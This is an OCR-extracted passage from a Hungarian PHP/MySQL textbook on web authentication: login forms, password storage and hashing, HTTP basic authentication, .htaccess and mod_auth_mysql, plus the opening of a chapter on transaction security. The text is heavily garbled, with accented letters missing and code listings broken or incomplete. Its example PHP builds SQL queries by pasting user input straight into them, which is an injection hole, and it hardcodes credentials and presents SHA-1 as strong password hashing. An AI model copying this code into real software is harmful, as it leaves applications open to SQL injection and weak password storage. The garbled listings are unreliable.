Az egyszer hozzfrs-szablyozs knnyen megvalsthar.A 17.1 pldakdnak hrom kimenere lehetsges. Ha a fjl param
terek nlkl tltdik be, felhasznli nevet s jelszt kr HTML rlap jelenik meg.A 17.1 brn ilyen tpus rlapot ltunk.
tlf ......,_ lttool .,..,..,.. -
_ - --- ---_ - __ _ -
_'""' .. - ,
_
-=======:-::
!.W=.:-::.::::_
Ha a paramtereket megadjk ugyan, de nem helyesen, a kd hibazenetet jelent meg. A 17.2 brn a hibazenette ltunk pldt.
......-
....
.......,.,.
-w
17.2 bra: Ha a felhasznl nem megfelel adatokat ad meg, hibazenetet jelentnk meg. Egy igazi oldalon ennl azrt bartsgosabb zenetet rdemes hasznlni.
Ha a megadott paramterek helyesek, megjelenik a titkos tartalom. A 17.3 brn az ilyen tpus tartalomra ltunk pldt.
17
Tessk!
267
A 17.1, 17.2 s 17.3 brn Jrhat funkcionalitst megvalst kd a 17.1 pldakdban Jrhat. 17.1 pldakd: ti t kos. php-Egyszer hitelestsi mechanizmust biztost PHP s HTML kd
<?php //rvid nevek ltrehozsa a vltozknak $nev = $_POST['nev']; $jelszo = $ POST['jelszo'];
if ((1isset($nev))
l l
(!isset($jelszo)))
<hl>Krjk,
jelentkezzen be!</hl>
<p>Az oldal titkos.</p> <form method="post" action="titkos.php"> <p>Felhasznli nv: <p>Jelsz: <input type="text" name="nev"></p>
<p><input type="submit" name="submit" value="Bejelentkezs"></p> </form> <?php else if(($nev=="felhasznalo") && ($jelszo=="jelszo"))
?> A 17.1 pldakd egyszer hitelestsi mechanizmust valst meg, amely lehetv teszi, hogy csak az arra jogosult felhasznJk tekintsk meg az adott oldalt. Ez a kd mindazonltal nhny komoly problmt is felvet: A kd a felhasznli nevet s a jelszt is tartalmazza Egyszer szvegknt trolja a jelszt Egyetlen oldalt vd Egyszer szvegknt kldi el a jelszt Ezeket a problmkat nmi erfeszts rn sikeresen kezdhetjk.
Jelszavak trolsa
Szmtalan alkalmasabb hely knlkozik a felhasznli nevek s jelszavak trolsra, mint egyszeren a kd belsejbe rni ket. Egyrszt a kdon bell nem egyszeren mdosrhatk az adatok. Technikailag lehetsges, de nem clszer sajt magt mdo st kdot rni. Ha gy tesznk, vgeredmnyben olyan kdot helyeznk kiszolglnkra, amely a kiszolgln fut, de msok is rhatjk vagy mdosrhatjk. Ha az adatokat msik fjlban troljuk a szerveren, sokkal knnyebben rhatunk programot a fel hasznJk ltrehozsra s eltvoltsra, illetve a jelszavak megvltoztatsra. Amennyiben az adatokat a kdban vagy egy msik adatfjlban troljuk, a kd futsi sebessgnek jelents lelassulsa nlkl csak korltozott szm felhasznlt tudunk kezelni. Ha nagyobb mennyisg adatot kvnunk fjlban trolni s abban keresni, rdemes inkbb adatbzist hasznlni. klszablyknt elmondhat, hogy ha szznl tbb elembl ll listt akarunk trolni s abban keresni, akkor egyszer fjl helyett adatbzist kell hasznlni. A felhasznli nevek s jelszavak adatbzisban trolsa nem teszi rzkelheten bonyolultabb a kdot, viszont a felhasz nJk sokkal gyorsabb hitelestst teszi lehetv. Ebben az esetben egyszeren megrhatjuk az j felhasznlkat hozzad, a meglv felhasznlkat trl, illetve a felhasznli jelszavak mdostst lehetv tev kdot. A 17.2 pldakdban az oldal ltogatit adatbzis segtsgvel hitelest kdot lthatunk.
17
268
17.fezet
17.2 pldakd: tit kos_adatbazis. php-A MySQL hasznlatval tovbbfejlesztett, egyszer hitelestsi mechanizmus
<?php $nev = $_POST['nev']; $jelszo
=
$ POST['Jelszo'];
if ((!isset($nev}}
l l
( 1 isset($jelszo}}}
<hl>Krjk,
jelentkezzen be'</hl>
<p>Az oldal titkos.</p> <form method="post" action="titkos adatbazis.php"> <p>Felhasznli nv: <p>Jelsz: <input type="text" name="nev"></p>
<?php else
ll csatlakozs mysql-hez
$mysql = mysqli connect("localhost", if (!$mysql} echo "Nem sikerlt csatlakozni az adatbzishoz."; exit; "webeshitelesites", "webeshitelesites"};
"SELECT count(*} FROM jogosult_felhasznalok WHERE nev = ''' .$nev.'' ' and jelsza
=
$lekerdezes};
17
Sctarab = $sor[O];
if ($darab > 0}
269
?> Az itt hasznlt adatbzis ltrehozshoz csatlakozzunk a MySQL-hez root felhasznlknt, s futtassuk a 17.3 pldakd tartalmr! 17.3 pldakd: hitelesi tesi _adatbazis _letrehozasa. sql- Ezek a MySQL lekrdezsek hozzk ltre a hitelesites
(nev}
);
INSERT INTO jogosult
felhasznalek
VALUES ('teszt_felhasznalo',
Jelszavak titkostsa
Akr adatbzisban, akr sima fjlban rizzk az adatokat, a jelszavak egyszer szvegknt trolsval szksgtelen kock zatnak tesszk ki magunkat. Egyirny hash algoritmussal minimlis tbbleterfesztssel rhetnk el magasabb szint biztonsgot. PHP-ben szmos egyirny hash fggvny elrhet. A legrgebbi s a legkevsb biztonsgos a crypt () fggvny ltal knlt Unix Crypt algoritmus. Az md5( ) fggvny ltal megvalstott Message Digest 5 (MDS) algoritmus ennl ersebb. Mg ersebb ugyanakkor a S ecure Hash Algorithm l (SHA-1) nev algoritmus. Az shal () PHP fggvny ers, egyirny kriptogrfiai hash fggvny. Prototpusa a kvetkez:
string shal ( string str
[,
bool nyers_kimenet])
Ha adott az str karakterlnc, a fggvny egy pszeudo-vletlenszer, 40 karakteres sztringet ad vissza. Amennyiben a nyers_kimenet paramtert true-ra, azaz igazra lltjuk, 20 karakteres binris karakterlncot kapunk helyette. Legyen adott pldul a" jelszo" karakterlnc: az shal () fggvny ekkor a" 5baa6le4c9b93f3f0682250b6cf833lb7ee68
fdB"
sztringet adja vissza. Ezr nem lehet visszafejteni, mg az sem tudja "jelszo"-v visszaalakitani, aki ltrehozta, gy els
rnzsre nem sok rtelme van ennek az egsznek. Az shal () fggvny hasznossgt az adja, hogy kimenere egyrtelm (de terminisztikus). Ha ugyanazt a karakterlncot adjuk neki, az shal () mindig ugyanazt az eredmnyt fogja visszaadni. Az ilyen PHP kd helyett: if (($nev == 'felhasznaloi_nev')
($jelszo == 'jelszo')}
//OK, {
&&
17
a jelszavak egyeznek
a jelszavak egyeznek
Nem szksges tisztban lennnk azzal, hogyan nzett ki a jelsz az shal () fggvny alkalmazsa eltt. Csak arrl kell meggyzdnnk, hogy az shal () fggvnyt a begpelt s az eredeti jelszra alkalmazva ugyanazokat a kimeneteket kapjuk-e.
270
17. fejezet
Ahogy korbban mr emltettk, az elfogadhat felhasznli neveket s jelszavakat nem ,Ynlott kzveclenl a kdba berni. Trolsukra hasznljunk inkbb kln fjlt vagy adatbzist! Amennyiben MySQL adatbzisban troljuk a hitelestshez szksges adatokat, az shal ( ) PHP fggvnyt vagy az
SHAl () MySQL fggvnyt egyarnt hasznlhatjuk. A MySQL mg a PHP-nl is tbbfle hash algoritmust knl, m ezek
mind ugyanazt a clt szolgljk. Az SHAl () hasznlathoz a kvetkezkppen kellene trni a 17.2 pldakdban lv SQL lekrdezst:
SELECT count(*)
nev =
'''.$nev.'''
jelsze = shal('".$jelszo."')
A fenti lekrdezs megszmolja a jogosul t_felhasznalok nev tbla azon sorait, amelyeknek a nev rtke a $nev vltoz tartalmval, a jelsza rtke pedig a$jelszo tartalmra alkalmazott SHAl( fggvny ltal visszaadott rtkkel egye ) zik meg. Amennyiben csak egyedi felhasznli neveket lehet vlasztani, a lekrdezs eredmnye csak O karakteres sztring. Gondoskocljunk rla, hogy az adatbzis oszlopai fogadni tudjk az ekkora adatokat! A 17.3 pldakdra visszatekintve lthatjuk, hogy a kt lehetsges megkzeltst illusztrland ltrehozrunk egy felhasznlt
(' felhasznaloi _nev') nem titkostott, egy msikat ('teszt_ felhasznala'
vagy l lehet.
Ne feledjk, hogy a hash fggvnyek ltalban rgztett mret adatot adnak vissza! Az SH1 fggvny esetn ez egy 40
17
271
Az alapszint hitelests egyszer szvegknt kldi a felhasznl nevt s jelszavr, gy nem tlsgosan biztonsgos. A HTTP 1.1 az ennl biztonsgosabb kivonatos hitelests (digest authentication) nev mdszert knlja, amely a tranzakci rszleteit hash algoritmussal (ltalban az MD5-tel) rejti el a kvnesi szemek ell. A kivonatos hitelesrst szmos webszerver s a bngszk jabb verzii tmogatjk. Mindazonltal igen sok olyan, rgebbi bngsz van mg hasznlatban, amely nem tmogatja ezt a hitelestsi mdszert, s a Microsoft Internet Explorer s az Internet Information Server is a kivonatos hireles rs olyan verzijt tartalmazza, amely nem kompatibilis a nem Microsoft-termkekkel. Tl azon, hogy egyes bngszk nem megfelelen tmogatjk, a kivonatos hitelests egy msik problmja, hogy mg ez sem kellen biztonsgos. Az alapszint s a kivonatos hitelests is alacsony fok biztonsgot nyjt. Egyik sem tuclja garantlni
a
felhasznlnak, hogy azzal a gppel kommunikl, amit ppen elrni kvn. Mindkett lehetv teszi a crackereknek, hogy
jra lejtsszk a kiszolglnak ugyanazt a krst. Mivel az alapszint hitelests egyszer szvegknt tovbbtja a felhasznli jelszavakat, a csomagokat megszerezni kpes cracker a felhasznl brbe bjva brmilyen krst intzhet a kiszolglhoz. Az alapszint hitelests ppolyan (alacsony) fok biztonsgot nyjt, mint a jelszavakat szintn egyszer szvegknt to vbbt telnetes vagy FTP-s csadakozsok. A kivonatos hitelests valamivel biztonsgosabb, mivel tovbbts eltt titkosrja
a jelszavakat.
Ha SS L-lel s digitlis tanstvnyokkal tvzzk az alapszint hitelests t, akkor a webes tranzakci minden rszt kellkppen vcljk. Ha ers biztonsgi szintre van ignynk, olvassuk el a Biztonsgos tranzakcik megvalstsa PHP-vel s MySQL-lel cm 18. fejezetet! Ennek ellenre sok esetben elegend lehet egy olyan gyors, m viszonylag kevss biztonsgos mdszer is, mint az alapszint hitelests. Az alapszint hitelests egy megnevezett tartomnyt (realm) vd, s rvnyes felhasznli nv s jelsz megadsra kny szerti a felhasznlkat. A tartomnyok megnevezse gy trtnik, hogy ugyanazon a kiszolgln egynl tbb tartomny is kialakrhat. Ugyanazon szerver klnbz fjljai vagy knyvrrai eltr rartomnyokba tartozharnak, amelyek mindegyikt klnbz felhasznli nevek s jelszavak vdik. Az elnevezett tartomnyokkal ugyanakkor egyeden tartomnyknt csoporto srhatjuk az ugyanazon a gpen vagy virtulis gpen lv knyvtrakat, s egyeden jelszval vdherjk ket.
vltozkra pl. Ahhoz, hogy ugyanaz a HTTP hitelestsi kd a PHP-t Apache-madulknt hasznl Apache szerveren vagy
ISAPI-modulknt hasznl IlS szerveren is fusson, rzkelnie kell a kiszolgl tpust, s kiszolgltl fggen kiss eltr
O,
&&
9)
'Microsoft')
&&
&&
(substr($ SERVER['HTTP_AUTHORIZATION'],
0,
6)
'Basic ')
{
$_SERVER['PHP_AUTH_PW']) = 6)));
base64_decode(substr($_SERVER['HTTP_AUTHORIZATION'],
ll Helyettestsk ezt az if utastst adatbzis-lekrdezssei vagy hasonlval' if (($_SERVER['PHP_AUTH_USER'] != 'felhasznalo') ($ SERVER['PHP_AUTH_PW'] != 'jelszo'))
ll
272
17. fejezet
ll ll
vagy nem
header('WWW-Authenticate:
Basic realm="Realm-Name"');
if (substr($
SERVER['SERVER_SOFTWARE'], 401
O,
9)
==
'Microsoft')
header('llapot: else
Jogosulatlan hozzfrs');
{
Jogosulatlan hozzfrs');
header('HTTP/1.0 401
echo "<hl>Krjk,
tvozzon!</hl>
else
ll
echo "<hl>Tessk!</hl> <p>Fogadjunk, hogy rl, hogy lthatja ezt a titkos oldalt!</p>";
?>
A 17.4 pldakd a fejezet korbbi pldakdjaihoz hasonlan mkdik. Ha a felhasznl mg nem adta meg a hitelestshez szksges adatokat, akkor bekri azokat. Hibs felhasznli nv-jelsz pros esetn a felhasznl a visszautastsrl kap zene tet. Megfelel hitelestsi adatok megadsa esetn a felhasznl megtekintheti a kre oldal tartalmr. Ebben az esetben azonban a felhasznl a korbbiaktl nmikppen eltr kezelfelletet lt. Ez a kd ugyanis nem jelent meg HTML rlapot a bejelentkezsi adacoknak. A felhasznl bngszje az, ami egy prbeszdablakot nyit meg. Egyesek szmra ez elny, msok jobban szeretik, ha teljes mctkben irnytsuk alatt tarthatjk a kezelfellet vizulis elemeit. A Firefox ltal megjelentett prbeszdablakot a 17.4 brn lthatjuk. Mivel a hitelestse a bngsz beptett funkcii segtik, bizonyos fokig a bngszn mlik, hogy miknt kezeli a sikertelen hitelestsi ksrleteket. Az Internet Explorer pldul hrom hitelestsi ksrletet enged meg a felhasznlnak, s csak ezt k veten jelenti meg az elutastsrl tjkoztat oldalt. Firefaxban akrhnyszor prblkozhat a felhasznl, az egyes ksrletek kzte csupn az.,Authorization failed. Retry?'; azaz .. Sikercelen hitelests. Megprblja jra?" zenet jelenik meg. A Firefox csak akkor jelenti meg az elutast oldalt, ha a felhasznl a.,Cancel" gombra kattint. Ahogy a 17.1 s 17.2 pldakdok esetben, ezt a kdot beilleszthetjk minden vdeni kvnt oldalra, vagy automatikusan hozzfzhetjk egy knyvtr sszes fjljnak elejhez.
17.4 bra: HTTP hitelests esetn ajelhasznl bngszje hatrozza meg a prbeszdablak megjelenst.
h t a c c ess fjljaival
A 17.4 pldakdhoz hasonl eredmnyeket PHP kd rsa nlkl is elrhetnk. Az Apache webszerver szmos olyan hiteles tsi modult tartalmaz, amivel megllapthatjuk a felhasznl ltal megadott adatok valdisgt. Legegyszerbben amod_ auth hasznlhat, amely egy, a kiszolgln callhat szveges fjl soraival hasonltja ssze a felhasznli nv-jelsz prosokat.
273
Az elz kdval megegyez eredmny elrshez kt klnll HTML fjlt kell ltrehoznunk: az egyik a tartalom oldala,
a a
msik az elutasts. Az elzekben egyes HTML elemeket kihagytunk, de HTML ellltshoz rnylegesen hasznlni kell
<html>
s a <body> cmkket.
A tar talom.html nev 17.5 pldakd a jogosult felhasznJk ltal megtekinthet tarralmar llrja el. Az elutasitas.
htrnl
nev 17.6 pldakd az elutast oldal. Az elutasts esern megjelen oldalt nem ktelez elkszteni, de professzionlis
szemlleter tkrz, ha hasznos informcikat jelentnk meg rajra. Mivel ez az oldal akkor jelenik meg. amikor egy felhasznl sikertelenl prbl meg bejelentkezni a vdert terletre, hasznos informci lehet, ha kzljk, hogyan rud regiszrrlni, illerve mi a reendje elfelejtett jelsz esetn. 17.5 pldakd: tartalom. html - Mintatartalorn
<htrnl><body> <hl>Tessk!</hl> <p>Fogadjunk, hogy rl, hogy lthatja ezt a titkos oldalt!</p>
</body></html>
Ezekben a fjlokban semmi jdonsg nincs. Pldnk rdekessge a 17.7 pldakdban Ithar fjl. Ezt a fjlt . htaccess knr kell elnevezni, s ez fogja szablyozni a knyvtrban lv fjlokhoz s alknyvtrakhoz val hozzfrst. 17.7 pldakd: . htaccess- Egy . htaccess fjl tbb Apache konfigurcis belltst szablyozhat, gy a hitelests aktivlst is
ErrorDocument 401 /l7_feJezet/elutasitas.html
htaccess
fjl, ami az adott knyvtrban bekapcsolja az alapszint hitelestsr. Sok bellts megad
hat egy . htaccess fjlban, de a pldban szerepl hat sor mind a hitelesrssei kapcsolatos.
401 /l7_feJezet/elutasitas.html
kzli az Apache-csel, hogy rnilyen dokumentumot jelentsen meg sikertelen hitelests esern (HTTP 401-es hiba). Ms direktvkkal sajt oldalakat lltharunk be az olyan hibkhoz is, mint pldul a 404-es. Az ehhez haszn
URL
ErrorDocument
land szintaktika:
ErrorDocument hiba szarna
A 401-es hibt kezel oldal esetben fontos, hogy a megadort URL nyilvnosan elrhet legyen. Nem sok rtelme lenne testreszabort hibaoldalon kzlni az emberekkel, hogy hitelestsk sikertelen volt, ha ezt az oldalt olyan knyvrrba helyez nnk, amit csak sikeres hitelests utn tekinthernek meg. A msodik sor
AuthUserFile /home/book/.htpass
17
kzli az Apache-csel, hol tallja a jogosult felhasznJk jelszavait tartalmaz fjlt. Ennek ltalban . htpass a neve, de br milyen, neknk tetsz mdon elnevezhetjk. Nem az a fontos, hogy hogyan hvjuk, hanem hogy hol troljuk. Nem szabad
a webknyvtrban
trolni- ott, ahol a webszerveren keres.zrl brki letltheti. A pldban hasznlt . htpass fjlt a 17.8
minrakdban ralljuk. Nem csupn azt tehetjk meg. hogy meghatrozzuk a jogosult felhasznlkat, hanem azt is megmondhatjuk, hogy csak meghatrozort csoportokba tartoz jogosult felhasznJk rhetik el az informciforrsokat. A pldban ezt nem tesszk, ezrt az albbi sor:
274
17. fejezet
AuthGroupFile Idev/null
az AuthGroupFile-lal a /dev/null-ra mutat, ami Unix rendszerek esetben olyan klnleges fjl, amely garantltan res. Ahogy a PHP-s pldban, a HTT P hitelests hasznlathoz itt is meg kell neveznnk a tartomnyt:
AuthName "Realrn-Nev"
Tetszleges tartomnynevet vlaszthatunk, de ne feledjk, hogy a nevet a ltogatk is ltni fogjk! Hogy nyilvnvalv te gyk, hogy a pldban szerepl nevet meg kell vltoztarni, tartomnyunknak a "Realrn-Nev" nevet adtuk. Mivel tbb klnbz hitelestsi mdszer is tmogatott, meg kell hatrozni, hogy melyiket kvnjuk hasznlni. Pldnkban a Basic, vagyis alapszint hitelestssei dolgozunk, ahogy ez az tdik sorbl is kiderl:
AuthType Basic
Azt is meg kell hatroznunk, hogy kinek engedlyezzk a hozzfrst. Megadhatunk konkrt felhasznlkat, konkrt cso portokat vagy- mint ahogy a pldban is tettk- egyszeren minden hitelestett felhasznlnak hozzfrst adhatunk. Az albbi sor:
require valid-user
A . htpass fjl minden sorban egy felhasznli nevet, kettspontot s az adott felhasznli nvhez tartoz titkostott jelszt tallunk. A . htpass pontos tartalma vltoz lesz. Ltrehozshoz egy htpasswd nev kis prograrnot hasznlunk, amely az Apache disztribciban rnegrallhat. A htpasswd prograrnot ktflekppen hasznlhatjuk:
htpasswd [-crndps) jelszofajl felhasznaloinev jelszofajl felhasznaloinev jelszo
vagy
htpasswd -b[crndps)
Egyetlen kapcsolt kell hasznlnunk, ez a -c.Hasznlatval kzljk a htpasswd-vel, hogy hozza ltre a fjlt. Az els felhasznl hozzadsakor van szksge erre a kapcsolra. Figyeljnk, hogy a tbbi felhasznlnl mr ne hasznljuk, mert ha a fjl mr ltezik, a htpasswd trli, s jat hoz ltre! Az opcionlis rn, d, p s s kapcsolval a hasznlni kvnt titkostsi algoritmust (vagy a titkosts hinyt) hatrozhatjuk meg. A b kapcsal kzli a programmal, hogy a jelszt pramterknt vrja, ne pedig krje azt. Ez a funkci akkor hasznos, ha nem interaktvan, ktegelt (batch) folyamat rszeknt kvnjuk meghvni a htpasswd programot, de ne hasznljuk, ha a pa rancssorbl hvjuk meg! Az albbi parancsok hoztk ltre a 17.8 pldakdban lthat fjlt:
htpasswd -be /horne/book/.htpass felhasznalal jelszal htpasswd -b /horne/book/.htpass felhasznalo2 jelszo2 htpasswd -b /horne/book/.htpass felhasznalo3 jelszo3 htpasswd -b /horne/book/.htpass felhasznalo4 jelszo4
17
A htpasswd nem felttlenl tallhat meg elrsi tvonalunkon, ebben az esetben a teljes elrsi tjt meg kell adni. A leg tbb rendszeren a /usr/local/apache/bin knyvtrban talljuk. Az ilyen tpus hitelests knnyen bellthat, a .htaccess ilyetn hasznlata azonban felvet nhny problmt. A fel hasznlkat s a jelszavakat szveges fjlban troljuk. Minden alkalommal, arnikor egy bngsz a . htaccess fjl ltal vdett fjlt kr, a kiszolglnak fel kell dolgoznia a . htaccess fjlt, majd a jelszfjlt, megprblva sszeill felhasznli nv s jelsz prost tallni. A . htaccess fjl hasznlata helyett a httpd. cont fjlban- vagyis webszervernk f konfi gurcis fjljban- is meghatrozharnnk ugyanezeket. A . htaccess fjl rninden egyes fjlkrskor feldolgozsra kerl, a httpd.conf fjl viszont csak a szerver elindulsakor. Ez a megkzelts gyorsabb ugyan, de azt jelenti, hogy brmilyen vltoztatshoz le kell lltani, majd jra kell indtani a kszolglt. Fggetlenl attl, hogy hol troljuk a szerverdirektvkat, a jelszfjlban minden egyes krsnl keresni kell. Ez azt jelenti, hogy- minden ms, egyszer fjlt hasznl mdszerhez hasonlan- ez sem igazn alkalmazhat tbb szz vagy tbb ezer felhasznl esetn.
275
Amod_auth_mysql
hasznlathoz a fggelkben lertak szerint telepteni kell az Apache-t s a MySQL-t, majd nhny
rovbbi lpst kell vgrehajtani. A dsztribci README s USAGE fjljaiban kell tjkoztatst kaphatunk, br ezek egyes helyeken korbbi verzik mkdsre utalnak. lljon most itt egy rvid sszefoglals!
4. Annak rdekben, hogy a modul dnarnikusan tltdjn be az Apache-be, adjuk az albbi sort a httpd.conf-hoz:
LoadModule mysql_auth_module libexec/mod_auth_mysql.so
5. Hozzuk ltre MySQL-ben a hitelestsi informcikat tartalmaz adatbzist s tblt! Nem kell, hogy ez kln adatb
zis vagy tbla legyen, hasznlhatunk meglvt is, pldul a fejezet korbbi pldjban szerepl lakozshoz szksges paramtereket! A direktva gy nz ki:
Auth_MySQL_Info hostnev felhasznaloi_nev jelsze
hitelesites
adatbzist.
6. Adjuk hozz a httpd. conf fjlhoz az albbi sort, hogy megadjuk amod _auth_mysql szmra a MySQL-hez csat
/usr/local/apache/bin/apachectl startssl
Ha a httpd. conf fjlban az Auth_MySQL_Info drektvval indul az Apache, akkor sikeresen hozzadtuk
amod_auth_mysql
modult.
pldakd olyan . htaccess fjlt tartalmaz, amely a fejezet korbbi rszben ltrehozott adatbzisban trolt, titkos
17.9 pldakd:
fejezet/elutasitas.html
17
Auth_MySQL_DB hitelesites Auth_MySQL_Encryption_Types MySQL Auth_MySQL_Password_Table jogosult_felhasznalok Auth_MySQL_Username_Field nev Auth_MySQL_Password_Field jelsze
require valid-user
276
17. fezet
Lthat, hogy a 17.9 pldakd nagyrszt megegyezik a 17.7-essel. Itt is meghatrozzuk a 401-es hiba (sikertelen hitelests) esetn megjelentend dokumentumot. Szintn az alapszint hitelestse vlasztj uk, s elnevezzk a tartomnyt. s akrcsak a 17.7 pldakdban, itt is minden hitelestett felhasznl szmra megadott a hozzfrs. Mivel mod_auth_mysql hitelesrst hasznlunk, s nem minden alaprtelmezett belltst kvntunk megtartani, di rektvk segtsgvel mdostottuk a hitelests mkdst. Az Auth_MySQL_DB, az Auth _MySQL_Password _ Table, az
Auth_MySQL_Username _Field
hasznli nv mezjnek a nevt. Az Auth_MySQL_Encryption Types direktvval adjuk meg, hogy MySQL jelsztitkosrst kvnunk hasznlni. Ennl
_
a direktvnl a Plaintext, a Crypt_DES s a MySQL lehetsg kzl vlaszthatunk. Az alaprtelmezett Crypt_DES le hetsg szabvnyos Unix DES-titkosts jelszavakat hasznl. A Felhasznlk szempontjbl ez a mod_auth_mysql modulos plda pontosan gy mkdik, mint a mod_auth modu los. A felhasznl bngszje egy prbeszdablakot jelent meg. Sikeres hitelests esetn a felhasznl megtekntheti a tartal mat. Ha a hitelests sikertelen, a hibaoldal jelenik meg. Sok weboldal szmra a mod _auth_ mysql az idelis megolds. Gyors s viszonylag egyszeren megvalsthat, illetve lehetv teszi, hogy az j felhasznlkat knyelmes mdszerekkel vigyk be az adatbzisba. Ha nagyobb rugalmassgra s ap rlkosabb szablyozsra van szksgnk, rdemes PHP s MySQL hasznlatval egyni hitelestsi mdszert kdolgozni.
Tovbbi olvasnival
A HTTP hitelestsrl rszletesen a http:/ /www.rfc-editor.org/rfc/rfc2617.txt cmen elrhet RFC 2617 ajnlsban olvashatunk. Az Apache-ben az alapszint hitelesrst szablyoz mod_auth dokumentcijt a http://httpd.apache.org/docs/2.0/ mod/mod_auth.html cmen rjk el.
Amod_auth_mysql
dokumentcijt a letlttt tmrtett llomnyban tallj uk. Mivel a letlts mrete nem nagy, mr
csak azrt is rdemes letlteni a tmrtett llomnyt s megnzni a readme fjlt, hogy tovbbi informcit szerezhessnk errl a modulrl.
Hogyan tovbb
A kvetkez fejezetben azt mutatjuk be, hogyan rkdjnk adataink biztonsga felett a bevitel, a tovbbts s a trols sszes rszfolyamata sorn. Ehhez szksg lesz az SSL, a digitlis tanstvnyok s a titkosts hasznlatra.
17
Trolt oldalak
Adatfjlok
MySQL adatok
18.1 bra: Egy tipikus webes alkalmazs jellemzen az albbi trol, feldolgoz elemekbl pl fel. Rendszernk kialaktscl, illetve a cranzakcit kivlt felhasznli adatoktl s mveletekcl fggen a rendszernkben elfordul tranzakcik rszletei eltrhecnek a fenti smtL Minden tranzakcit ugyangy rdemes megvizsglni. A webes alkalmazs s a felhasznl kzrti sszes tranzakci azzal indul, hogy a felhasznl bngszje az interneten keresztl krst intz a kiszolglhoz. Ha az oldal PHP kdban tallhat, a kiszolgl az oldal feldolgozst a PHP motorra bzza. A PHP kd olvashaqa s lemezre rhatja az adatokat. Az include ( ) s a require ( ) urasrssal ms PHP s HTML fjlokat is beilleszchet. Az SQL lekrdezseket elkldi a MySQL dmonnak, s fogadja az arrl rkez vlaszokat. A MySQL motor felels a sajt adatainak olvassrt s lemezre rsrt.
278
18.
fejezet
A rendszer hrom f alkotelembl ll: A felhasznl gpe Az internet Sajt rendszernk A kvetkezkben kln-kln foglalkozunk ezen alkotelemek biztonsgi krdseivel, de nyilvnval, hogy a felhasznl gpe s az internet felett igen kevs befolyssal brunk.
A felhasznl gpe
Rendszernk szempontjbl a felhasznl gpe bngszt vagy bngszket futtat. Semmilyen rhatsunk nincsen az olyan tnyezkre, mint pldul a gp biztonsgi belltsai. Gondolnunk kell arra is, hogy a gp esetleg egyltaln nem biztonsgos, vagy lehet knyvtrban, iskolban, internetkvzban tallhat, megosztott terminl is. Tbbfle bngsz ltezik, s mindegyik kiss eltr funkcikat s jellemzket knl. Ha csak a kt legnpszerbb bngsz legfrissebb verziira gondolunk, akkor a kztk lv klnbsgek nagy rsze a HTML kd kezelsre s megjelentsre korl tozdik, m neknk a biztonsgi s a funkcionlis krdsekkel is foglalkoznunk kell. Ne feledjk, hogy egyes felhasznJk kikapcsoljk a szerintk biztonsgi vagy adatvdelmi kockzatokkal jr funkcikat, pldul aJavt, a stiket vagy aJavaScriptet. Ha alkalmazsunk pt ezekre a funkcikra, akkor mindenkppen teszteljk, hogy miknt mkdik az ezeket nem engedlyez felhasznlknl. Vagy mdegeijk egy kevsb funkcigazdag kezelfellet kiala ktst, amellyel az ilyen vatos emberek is hasznlni tudjk oldal unkat. Elfordulhat, hogy az Egyeslt llamokon s Kanadn kivli felhasznJk bngszje csak a 40 bites ritkosrst tmogatja. Annak ellenre, hogy az amerikai kormnyzat 2000 janurjban trvnymdostssal engedlyezte az ersebb ritkosrsi md szer exportlst (a nem embargs orszgokba), s a legtbb felhasznl szmra ma mt a 128 bites vltozatok is elrhetk, nem biztos, hogy mindenki frisstette bngszjt. Webfejlesztknt mindazonltal nem szksges tlzottan aggdni e krds miatt, kivve, ha oldalunk szvegben garantljuk a felhasznlknak a biztonsgot. Az SSL automatikusan egyeztet kiszolg lnk s a felhasznl bngszje kztt, hogy a mindkett ltal kezelni kpes legmagasabb szint biztonsg mellett kommuni kljanak egymssal. Nem lehetnk biztosak benne, hogy az oldalunkhoz az ltalunk kivnt felleten keresztl kapcsold bngszvel foglalko zunk. Az oldalunkhoz rkez krsek jhetnek a kpeket vagy a tartalmat ellop ms oldalrl vagy a biztonsgi intzkedseink megkerlsre alkalmas szoftvert, pldul cURL-t hasznl szemlytL A bngszktl rkez csatlakozsok szimullsra alkalmas cURL knyvtrral a Hlzati s protokollfggvnyek hasznlata cm 20. fejezetben foglalkozunk majd. Fejlesztknt igen hasznos lehet szmunkra ez az eszkz, ugyanakkor rosszindulatan is hasznlhat. Ugyan a felhasznJk gpeinek belltsait nem tudjuk sem mdostani, sem szablyozni, figyelembe kell vennnk eze ket a krdseket. A felhasznJk gpei kzrt lehetsges komoly klnbsgek befolysolhatjk, hogy milyen funkcikat te sznk elrhetv a szerveroldali programozsban (pldul PHP-ben) s milyeneket a kliensoldali programozsban (pldul JavaScriptben). A PHP-ben megteremtett funkcik minden felhasznl bngszjvel kompatibilisek lehemek, mivel a kd eredmnye egyszeren egy HTML oldal. A nagyon alapvetJavaScript kdon tl brmit hasznlunk, figyelembe kell venni az egyes bn gszk (s azok klnbz verziinak) eltr mkdst. Az olyan feladatoknl, mint pldul az adatrvnyests, biztonsgi szempontbl jobban jrunk szerveroldali programozs sal, mivel forrskdunk ebben az esetben nem lesz lthat a felhasznJk szmra. Ha kizrlagJavaScriptben ellenrizzk az adatokat, a felhasznJk megtekinthetik s esetleg kijtszhatjk a kdot. A megrizni szksges adatokat trolhatjuk sajt gpeinken fjlknt vagy adatbzisrekordknt, illetve a felhasznJk gpn stiknt. A srik hasznlatval korltozott mennyisg adat (munkamenetkulcs) trolsra a Munkamenet-vezrls PHP-ben cm 23. fejezetben foglalkozunk majd. A trolni kvnt adatok tbbsgnek webszervernkn vagy adatbzisunkban a helye. Szmos j oka van annak, hogy a felhasznl gpn mitt csak a lehet legkevesebb adatot szabad trolni. A rendszernkn kvl elhelyezked informcinl nincsen rhatsunk annak biztonsgos trolsra, nem lehetnk biztosak abban, hogy a felhasznl nem trli ki, illetve nem tudjuk megakadlyozni, hogy rendszernk kijtszsra irnyul prblkozsa sorn a felhasznl ne mdostsa azt.
18
Az internet
Nem csak a felhasznJk gpeire, az internet tulajdonsgaira is nagyon csekly a rhatsunk, m ez nem azt jelenti, hogy rend szernk tervezse sorn figyelmen kvl hagyhatjuk ezeket a tulajdonsgokat.
279
